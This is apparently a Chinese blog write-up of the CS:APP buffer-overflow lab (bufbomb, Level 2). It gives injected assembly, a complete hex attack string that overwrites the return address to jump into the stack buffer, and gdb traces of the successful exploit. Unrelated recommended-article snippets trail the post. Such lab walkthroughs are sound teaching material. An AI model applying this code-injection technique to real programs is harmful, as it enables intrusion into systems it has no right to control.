通过bang函数的汇编代码可以看得到,global_value的地址是0x804d300,cookie的地址是0x804d308,为了完成实验的目的,我们首先需要将全局变量 global_value 设置 为对应 userid的 cookie 值,再将 bang 过程的地址压入栈中,然后执行一条 ret 指令从而跳至 bang 过程的代码继续执行。除此之外,我们还需要找到input string存放的位置作为第一次ret 指令的目标位置。

Level 2求解思路
  1. 自定义设计指令,指令需要完成将全局变量 global_value 设置 为对应 userid的 cookie 值,再将 bang 过程的地址压入栈中,然后执行一条 ret 指令从而跳至 bang 过程的代码继续执行等任务。
  2. 找到input string存放的位置作为第一次ret 指令的目标位置,在攻击字符串中对应返回地址的位置处。
构造自定义攻击指令bang.s

先将global_value 用mov指令变cookie (0x0804d308 前不加$ 表示地址),然后将bang()函数地址0x08049466写给esp,再执行ret指令时,程序自动跳入bang()函数,也就是如下所示:

movl $0x6822364a,  0x0804d308
pushl $0x08049466
ret

指令 gcc -m32 -c bang.s 将assembly code写成machine code -->bang.o再用objdump -d bang.o 读取machine code。

将指令代码写入攻击文件,除此之外我们还需要找到input string存放的位置作为第一次ret 指令的目标位置,经过gdb调试分析getbuf()申请的字节缓冲区首地址为**<0x55683387>**,综上所属我们可以构造如下攻击字符串:

c7 05 00 d3 04 08 4a 36 22 68 
68 66 94 04 08 c3 00 11 22 33
44 55 66 77 88 99 00 11 22 33 
44 55 66 77 88 99 00 11 22 33 
44 55 66 77 88 99 00 11 22 33 
44 55 66 77 88 99 00  /* end of buffer */  
00 11 22 33
87 33 68 55  

前16个个字节就是我们自定义设计的指令代码,然后接下来的41个字节用于填充缓冲区,与实验目标无关,可以随意设置,接着的4个字节改写了栈桢中所保存EBP寄存器的旧值,也与实验目标无关同样可以随意设置,可以随意设置。最后四个字节我们保存input string存放的位置作为第一次ret 指令的目标位置。

GDB调试观察Level 2求解过程

在bang.txt文件中我们写入了以上构造的攻击字符串,使用hex2raw程序把它转化为实际的攻击字符串,并把它保存在bang-raw.txt文件中。

./hex2raw < bang.txt > bang-raw.txt

利用gdb命令启动并调试bufbomb程序

gdb bufbomb 

我们需要观察getbuf函数调用Gets函数前和后栈桢中的内容是否发生了变化,因此我们依旧会在调用Gets函数的call指令之前设置一个断点,在其后在设置一个断点,以方便我们来观察getbuf函数在读入攻击字符串前和后栈桢中重要信息是否发生了改变。

在Gets函数调用之前和设置断点,两个断点的地址分别是0x8049c660x8049c6c

(gdb) b *0x8049c66
Breakpoint 1 at 0x8049c66
(gdb) b *0x8049c6c
Breakpoint 2 at 0x8049c6c
(gdb)

启动目标程序运行,指定命令行选项-u后跟用户ID,并把我们保存的攻击字符串文件fizz-raw.txt通过重定向操作符输入到目标程序中。

(gdb) r -u 631807060623 < bang-raw.txt
Starting program: /home/xjh/Desktop/buf/bufbomb -u 631807060623 < bang-raw.txt
Userid: 631807060623
Cookie: 0x6822364a

Breakpoint 1, 0x08049c66 in getbuf ()

运行完后,程序中断在我们的第一个断点处,也就是停在了gebuf函数中调用Gets函数之前的下条指令地址。查看EBP寄存器——该地址存放getbuf函数调用函数test里的EBP寄存器的旧值。

(gdb) print $ebp
$1 = (void *) 0x556833c0 <_reserved+1037248>

同样的攻击字符串还会改写返回地址。返回地址存放在栈桢中EBP寄存器的值加上4这个地址的内存单元,查看它的值以方便后续做比较观察是否变化。

(gdb) x/xw 0x556833c4
0x556833c4 <_reserved+1037252>:	0x080495a0

可以看到它就是我们前面反汇编结果中看到的调用getbuf函数的call指令的下条指令的地址。

使用c命令继续运行,程序中断在了第二个断点处,也就是停在了gebuf函数中调用Gets函数之后的下条指令地址。

(gdb) c
Continuing.
Breakpoint 2, 0x08049c6c in getbuf ()

查看返回地址的值是否发生变化。

(gdb) x/xw 0x556833c4
0x556833c4 <_reserved+1037252>:	0x55683387

可以看到返回地址的存储位置上的值已经变成了0x55683387,这就是我们在攻击字符串中设置input string存放的位置作为第一次ret 指令的目标位置。

继续运行目标程序,观察攻击字符串对栈桢的修改是否有效。

(gdb) c
Continuing.
Type string:Bang!: You set global_value to 0x6822364a
VALID
NICE JOB!
[Inferior 1 (process 2696) exited normally]

程序输出可以看出我们成功调用了bang函数,也就是成功完成了Level 2: bang的实验任务。

实验提示:生成对应汇编指令序列的字节代码

为方便生成指令序列的字节编码表示(例如用于 Level 2-4),可以依次使用 GCC 和 OBJDUMP 对所设计完成特定攻击目标的汇编指令序列进行汇编并再反汇编,从而得到指令 序列的字节编码表示。

例如,可编写一个 example.S 文件包含如下汇编代码:

# Example of hand-generated assembly code 
push $0xabcdef # Push value onto stack 
add $17,%eax # Add 17 to %eax
.align 4 # Following will be aligned on multiple of 4 
.long 0xfedcba98 # A 4-byte constant

然后,可如下汇编再反汇编该文件:

linux>gcc -m32 -c example.S linux>objdump -d example.o > example.d

生成的 example.d 文件包含如下代码行:

0: 68 ef cd ab 00 push $0xabcdef
5: 83 c0 11       add $0x11,%eax 
8: 98             cwtl
9: ba             .byte 0xba
a: dc fe           fdivr %st,%st(6)

其中,每行显示一个单独的指令。左边的数字表示指令的起始地址(从 0 开始),”:” 之后的 16 进制数字给出指令的字节编码(即实验所需的编码后的攻击字符串内容)。例如, 指令”push $0xabcdef“对应的 16 进制字节编码为”68 ef cd ab 00“。 然而,注意从地址“8”开始,反汇编器错误地将本来对应程序中静态数据的多个字节解释 成了指令(cwtl)。实际上,从该地址起的 4 个字节“98 ba dc fe”对应于前述 example.S 文 件中最后的数据 0xfedcba98 的小端字节表示。

按上述步骤确定了所设计机器指令对应的字节序列“68 ef cd ab 00 83 c0 11 98 ba dc fe”后,就可以把该十六进制格式字符串输入 hex2raw 程序以产生一个用于输入到 bufbomb 程序的攻击字符串。更方便的方法是,由于 hex2raw 程序支持在输入字符串中包含 C 语言 块注释(以方便用户理解其中字符串对应的指令),可以编辑修改 example.d 文件为如下形 式(将反汇编结果中的指令说明变为注释):

68 ef cd ab 00 /* push $0xabcdef */ 
83 c0 11 /* add $0x11,%eax */ 
98 ba dc fe

然后就可将该文件做为 hex2raw 程序的输入进行实验

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_43336390/article/details/106503106

智能推荐

稀疏编码的数学基础与理论分析-程序员宅基地

文章浏览阅读290次,点赞8次,收藏10次。1.背景介绍稀疏编码是一种用于处理稀疏数据的编码技术,其主要应用于信息传输、存储和处理等领域。稀疏数据是指数据中大部分元素为零或近似于零的数据,例如文本、图像、音频、视频等。稀疏编码的核心思想是将稀疏数据表示为非零元素和它们对应的位置信息,从而减少存储空间和计算复杂度。稀疏编码的研究起源于1990年代,随着大数据时代的到来,稀疏编码技术的应用范围和影响力不断扩大。目前,稀疏编码已经成为计算...

EasyGBS国标流媒体服务器GB28181国标方案安装使用文档-程序员宅基地

文章浏览阅读217次。EasyGBS - GB28181 国标方案安装使用文档下载安装包下载,正式使用需商业授权, 功能一致在线演示在线API架构图EasySIPCMSSIP 中心信令服务, 单节点, 自带一个 Redis Server, 随 EasySIPCMS 自启动, 不需要手动运行EasySIPSMSSIP 流媒体服务, 根..._easygbs-windows-2.6.0-23042316使用文档

【Web】记录巅峰极客2023 BabyURL题目复现——Jackson原生链_原生jackson 反序列化链子-程序员宅基地

文章浏览阅读1.2k次,点赞27次,收藏7次。2023巅峰极客 BabyURL之前AliyunCTF Bypassit I这题考查了这样一条链子:其实就是Jackson的原生反序列化利用今天复现的这题也是大同小异,一起来整一下。_原生jackson 反序列化链子

一文搞懂SpringCloud,详解干货,做好笔记_spring cloud-程序员宅基地

文章浏览阅读734次,点赞9次,收藏7次。微服务架构简单的说就是将单体应用进一步拆分,拆分成更小的服务,每个服务都是一个可以独立运行的项目。这么多小服务,如何管理他们?(服务治理 注册中心[服务注册 发现 剔除])这么多小服务,他们之间如何通讯?这么多小服务,客户端怎么访问他们?(网关)这么多小服务,一旦出现问题了,应该如何自处理?(容错)这么多小服务,一旦出现问题了,应该如何排错?(链路追踪)对于上面的问题,是任何一个微服务设计者都不能绕过去的,因此大部分的微服务产品都针对每一个问题提供了相应的组件来解决它们。_spring cloud

Js实现图片点击切换与轮播-程序员宅基地

文章浏览阅读5.9k次,点赞6次,收藏20次。Js实现图片点击切换与轮播图片点击切换<!DOCTYPE html><html> <head> <meta charset="UTF-8"> <title></title> <script type="text/ja..._点击图片进行轮播图切换

tensorflow-gpu版本安装教程(过程详细)_tensorflow gpu版本安装-程序员宅基地

文章浏览阅读10w+次,点赞245次,收藏1.5k次。在开始安装前,如果你的电脑装过tensorflow,请先把他们卸载干净,包括依赖的包(tensorflow-estimator、tensorboard、tensorflow、keras-applications、keras-preprocessing),不然后续安装了tensorflow-gpu可能会出现找不到cuda的问题。cuda、cudnn。..._tensorflow gpu版本安装

随便推点

物联网时代 权限滥用漏洞的攻击及防御-程序员宅基地

文章浏览阅读243次。0x00 简介权限滥用漏洞一般归类于逻辑问题,是指服务端功能开放过多或权限限制不严格,导致攻击者可以通过直接或间接调用的方式达到攻击效果。随着物联网时代的到来,这种漏洞已经屡见不鲜,各种漏洞组合利用也是千奇百怪、五花八门,这里总结漏洞是为了更好地应对和预防,如有不妥之处还请业内人士多多指教。0x01 背景2014年4月,在比特币飞涨的时代某网站曾经..._使用物联网漏洞的使用者

Visual Odometry and Depth Calculation--Epipolar Geometry--Direct Method--PnP_normalized plane coordinates-程序员宅基地

文章浏览阅读786次。A. Epipolar geometry and triangulationThe epipolar geometry mainly adopts the feature point method, such as SIFT, SURF and ORB, etc. to obtain the feature points corresponding to two frames of images. As shown in Figure 1, let the first image be ​ and th_normalized plane coordinates

开放信息抽取(OIE)系统(三)-- 第二代开放信息抽取系统(人工规则, rule-based, 先抽取关系)_语义角色增强的关系抽取-程序员宅基地

文章浏览阅读708次,点赞2次,收藏3次。开放信息抽取(OIE)系统(三)-- 第二代开放信息抽取系统(人工规则, rule-based, 先关系再实体)一.第二代开放信息抽取系统背景​ 第一代开放信息抽取系统(Open Information Extraction, OIE, learning-based, 自学习, 先抽取实体)通常抽取大量冗余信息,为了消除这些冗余信息,诞生了第二代开放信息抽取系统。二.第二代开放信息抽取系统历史第二代开放信息抽取系统着眼于解决第一代系统的三大问题: 大量非信息性提取(即省略关键信息的提取)、_语义角色增强的关系抽取

10个顶尖响应式HTML5网页_html欢迎页面-程序员宅基地

文章浏览阅读1.1w次,点赞6次,收藏51次。快速完成网页设计,10个顶尖响应式HTML5网页模板助你一臂之力为了寻找一个优质的网页模板,网页设计师和开发者往往可能会花上大半天的时间。不过幸运的是,现在的网页设计师和开发人员已经开始共享HTML5,Bootstrap和CSS3中的免费网页模板资源。鉴于网站模板的灵活性和强大的功能,现在广大设计师和开发者对html5网站的实际需求日益增长。为了造福大众,Mockplus的小伙伴整理了2018年最..._html欢迎页面

计算机二级 考试科目,2018全国计算机等级考试调整,一、二级都增加了考试科目...-程序员宅基地

文章浏览阅读282次。原标题:2018全国计算机等级考试调整,一、二级都增加了考试科目全国计算机等级考试将于9月15-17日举行。在备考的最后冲刺阶段,小编为大家整理了今年新公布的全国计算机等级考试调整方案,希望对备考的小伙伴有所帮助,快随小编往下看吧!从2018年3月开始,全国计算机等级考试实施2018版考试大纲,并按新体系开考各个考试级别。具体调整内容如下:一、考试级别及科目1.一级新增“网络安全素质教育”科目(代..._计算机二级增报科目什么意思

conan简单使用_apt install conan-程序员宅基地

文章浏览阅读240次。conan简单使用。_apt install conan